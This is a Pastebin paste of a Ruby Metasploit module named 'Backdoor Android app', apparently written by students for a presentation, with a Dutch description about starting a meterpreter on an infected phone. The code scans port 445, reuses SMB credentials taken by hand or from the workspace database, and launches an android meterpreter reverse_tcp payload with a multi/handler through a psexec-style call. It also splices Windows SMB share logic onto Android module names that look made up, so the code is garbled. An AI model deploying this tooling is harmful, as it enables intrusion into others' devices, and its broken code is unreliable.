Advertisement
Guest User

Siem, Dean, Linda en Jelmer

a guest
Jan 19th, 2017
105
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Ruby 7.77 KB | None | 0 0
  1. require 'msf/core'
  2. require 'rex'
  3.  
  4.  
  5.  
  6. class MetasploitModule < Msf::Auxiliary
  7.     include Msf::Exploit::Remote::Tcp
  8.     include Msf::Android_tcp::Scanner
  9.     include Msf::Android_tcp::Report
  10.     include Msf::Exploit::APK
  11.    
  12.  
  13.  
  14.  
  15. ##!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!##
  16.    
  17.     def initialize(info={})
  18.         super( update_info( info,
  19.                 'Name'          => 'Backdoor Android app',
  20.                 'Description'   => %q{
  21.                     Dit is een File om een meterpreter via de app te starten, dit houd in dat je
  22.                     Verbinding kan maken met de app op de telefoon van de geinfecteerde.
  23.                     Het heeft geen zin om hem zonder "Metasploit" uit te voeren, dit wordt in onze eind presentatie gedemonstreerd.
  24.                     Het is geschreven in het Engels omdat Siem en ik altijd programmeren in het Engels.
  25.                 },
  26.                 'License'       => MSF_LICENSE,
  27.                 'Author'        => [ 'Jelmer Franken en Siem Derksen <jkapps.nl>'],
  28.                 'Version'       => '$Revision$'
  29.             ))
  30.  
  31. ##!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!##
  32.         register_options(
  33.             [
  34.                 OptString.new('SMBUser', [false, 'SMB Username', nil]),
  35.                 OptString.new('SMBPass', [false, 'SMB Password', nil]),
  36.                 OptString.new('SMBDomain', [true, "SMB Domain", 'WORKGROUP']),
  37.                 OptString.new('SHARE',     [ true,
  38.                         "The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share", 'ADMIN$' ]),
  39.                 OptString.new('RHOSTS', [true, 'Range of hosts to scan.', nil]),
  40.                 OptInt.new('LPORT', [true, 'Local Port for payload to connect.', nil]),
  41.                 OptString.new('LHOST', [true, 'Local Hosts for payload to connect.', nil]),
  42.                 OptString.new('PAYLOAD', [true, 'Payload to use against android host',
  43.                         "android/meterpreter/reverse_tcp"]),
  44.                 OptEnum.new('TYPE', [false,
  45.                         'Type of credentials to use, manual for provided one, db for those found on the database',
  46.                         'manual', ['db','manual']]),
  47.                 OptString.new('OPTIONS',
  48.                 [false, "Comma separated list of additional options for payload if needed in \'opt=val,opt=val\' format.",
  49.                     ""]),
  50.                 OptString.new('APK::Custom', [false, 'Use custom APK instead of automatically generating a payload APK', nil]),
  51.                 OptBool.new('HANDLER',
  52.                     [ false, 'Start an Exploit Multi Handler to receive the connection', true]),
  53.             ], self.class)
  54.         # no need for it
  55.         deregister_options('RPORT')
  56.        
  57.     end
  58.     def setup()
  59.         # Set variables
  60.         pay_name = datastore['PAYLOAD']
  61.         lhost    = datastore['LHOST']
  62.         lport    = datastore['LPORT']
  63.         opts     = datastore['OPTIONS']
  64.        
  65.  
  66.         if datastore['TYPE'] == "db"
  67.             print_status("Using the credentials found in the workspace database")
  68.             collect_hashes()
  69.         else
  70.             print_status("Using the username and password provided")
  71.         end
  72.         @pay = create_payload(pay_name,lhost,lport,opts)
  73.         create_multihand(pay_name,lhost,lport) if datastore['HANDLER']
  74.     end
  75.  
  76.     # Run Method for when run command is issued
  77.     def run_host(ip)
  78.         if check_port(ip)
  79.             if datastore['TYPE'] == "manual"
  80.                 if not datastore['SMBUser'].nil? and not datastore['SMBPass'].nil?
  81.                     user = datastore['SMBUser']
  82.                     pass = datastore['SMBPass']
  83.                     dom = datastore['SMBDomain']
  84.                     payload = datastore['PAYLOAD']
  85.                     custAPK = datastore['APK::Custom']
  86.                     print_status("Trying #{user}:#{pass}")
  87.                     psexec(ip,user,pass,dom,payload,custAPK)
  88.                     return
  89.                 end
  90.             else
  91.                 @creds.each do |c|
  92.                     user,pass = c.split(" ")
  93.                     dom = datastore['SMBDomain']
  94.                     payload = datastore['PAYLOAD']
  95.                     custexe = datastore['APK::Custom']
  96.                     print_status("Trying #{user}:#{pass}")
  97.                     psexec(ip,user,pass,dom,payload,custexe)
  98.                 end
  99.             end
  100.         else
  101.             return
  102.         end
  103.     end
  104.    
  105.     ## Run psexec on a given IP
  106.     def psexec(ip,user,pass,dom,payload,custexe)
  107.         psexec = framework.modules.create("exploit/android/smb/androidxpc")
  108.         psexec.share_datastore(@pay.datastore)
  109.         psexec.datastore['PAYLOAD'] = payload
  110.         psexec.datastore['MODULE_OWNER'] = self.owner
  111.         psexec.datastore['WORKSPACE'] = datastore["WORKSPACE"] if datastore["WORKSPACE"]
  112.         psexec.datastore['RHOST'] = ip
  113.         psexec.datastore['SMBUser'] = user
  114.         psexec.datastore['SMBPass'] = pass
  115.         psexec.datastore['SMBDomain'] = dom
  116.         if not datastore['EXE::Custom'].nil?
  117.             psexec.datastore['EXE::Custom'] = custexe
  118.         end
  119.         psexec.datastore['SHARE'] = datastore['SHARE']
  120.         psexec.datastore['RPORT'] = 445
  121.         psexec.datastore['ExitOnSession'] = false
  122.         psexec.datastore['DisablePayloadHandler'] = false
  123.         psexec.datastore['EXITFUNC'] = 'process'
  124.         psexec.datastore['VERBOSE'] = true
  125.         psexec.datastore['DisablePayloadHandler'] = true
  126.         psexec.datastore['ForceBlocking'] = true
  127.         psexec.options.validate(psexec.datastore)
  128.         psexec.exploit_simple(
  129.             'LocalInput'    => self.user_input,
  130.             'LocalOutput'   => self.user_output,
  131.             'Payload'   => payload,
  132.             'Target'    => 0,
  133.             'ForceBlocking' => true,
  134.             'RunAsJob'  => false)
  135.         Rex::ThreadSafe.sleep(4)
  136.     end
  137.  
  138.     def check_port(ip)
  139.         status = false
  140.         timeout = 1000
  141.         port = 445
  142.         begin
  143.             s = connect(false,
  144.                 {
  145.                     'RPORT' => 445,
  146.                     'RHOST' => ip,
  147.                     'ConnectTimeout' => (timeout / 1000.0)
  148.                 }
  149.             )
  150.             print_status("#{ip}:#{port} - TCP OPEN")
  151.             status = true
  152.         rescue ::Rex::ConnectionRefused
  153.             vprint_status("#{ip}:#{port} - TCP closed")
  154.         rescue ::Rex::ConnectionError, ::IOError, ::Timeout::Error
  155.         rescue ::Interrupt
  156.             raise $!
  157.         rescue ::Exception => e
  158.             print_error("#{ip}:#{port} exception #{e.class} #{e} #{e.backtrace}")
  159.         ensure
  160.             disconnect(s) rescue nil
  161.         end
  162.         return status
  163.     end
  164.  
  165.     def collect_hashes
  166.         type = "smb_hash|password"
  167.         @creds = []
  168.         print_status("Collecting Hashes from the DB")
  169.         framework.db.workspace.creds.each do |cred|
  170.             if cred.active and cred.ptype =~ /#{type}/ and cred.user !~ /(SUPPORT|HelpAssistant|TsInternetUser|IWAM|Guest)/
  171.                 @creds << "#{cred.user} #{cred.pass}"
  172.             end
  173.         end
  174.         # Make sure we only have unique credentials to minimize multiple sessions
  175.         @creds.uniq!
  176.         print_status("#{@creds.length} found on the Database")
  177.     end
  178.  
  179.     # Method for checking if a listner for a given IP and port is present
  180.     # will return true if a conflict exists and false if none is found
  181.     def check_for_listner(lhost,lport)
  182.         conflict = false
  183.         framework.jobs.each do |k,j|
  184.             if j.name =~ / multi\/handler/
  185.                 current_id = j.jid
  186.                 current_lhost = j.ctx[0].datastore["LHOST"]
  187.                 current_lport = j.ctx[0].datastore["LPORT"]
  188.                 if lhost == current_lhost and lport == current_lport.to_i
  189.                     print_error("Job #{current_id} is listening on IP #{current_lhost} and port #{current_lport}")
  190.                     conflict = true
  191.                 end
  192.             end
  193.         end
  194.         return conflict
  195.     end
  196.    
  197.     # Create a payload given a name, lhost and lport, additional options
  198.     def create_payload(name, lhost, lport, opts = "")
  199.  
  200.         pay = framework.payloads.create(name)
  201.         pay.datastore['LHOST'] = lhost
  202.         pay.datastore['LPORT'] = lport
  203.         if not opts.empty?
  204.             opts.split(",").each do |o|
  205.                 opt,val = o.split("=", 2)
  206.                 pay.datastore[opt] = val
  207.             end
  208.         end
  209.         # Validate the options for the module
  210.         pay.options.validate(pay.datastore)
  211.         return pay
  212.  
  213.     end
  214.  
  215.     # Starts a multi/handler session
  216.     def create_multihand(pay_name,lhost,lport)
  217.         print_status("Starting exploit multi handler")
  218.         if not check_for_listner(lhost,lport)
  219.             # Set options for module
  220.             mul = framework.exploits.create("multi/handler")
  221.             mul.share_datastore(@pay.datastore)
  222.             mul.datastore['WORKSPACE'] = framework.db.workspace.name
  223.             mul.datastore['PAYLOAD'] = pay_name
  224.             mul.datastore['EXITFUNC'] = 'thread'
  225.             mul.datastore['ExitOnSession'] = false
  226.             # Validate module options
  227.             mul.options.validate(mul.datastore)
  228.             # Execute showing output
  229.             mul.exploit_simple(
  230.                     'Payload'     => mul.datastore['PAYLOAD'],
  231.                     'LocalInput'  => self.user_input,
  232.                     'LocalOutput' => self.user_output,
  233.                     'RunAsJob'    => true
  234.                 )
  235.         else
  236.             print_error("Could not start handler!")
  237.         end
  238.     end
  239.  
  240. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement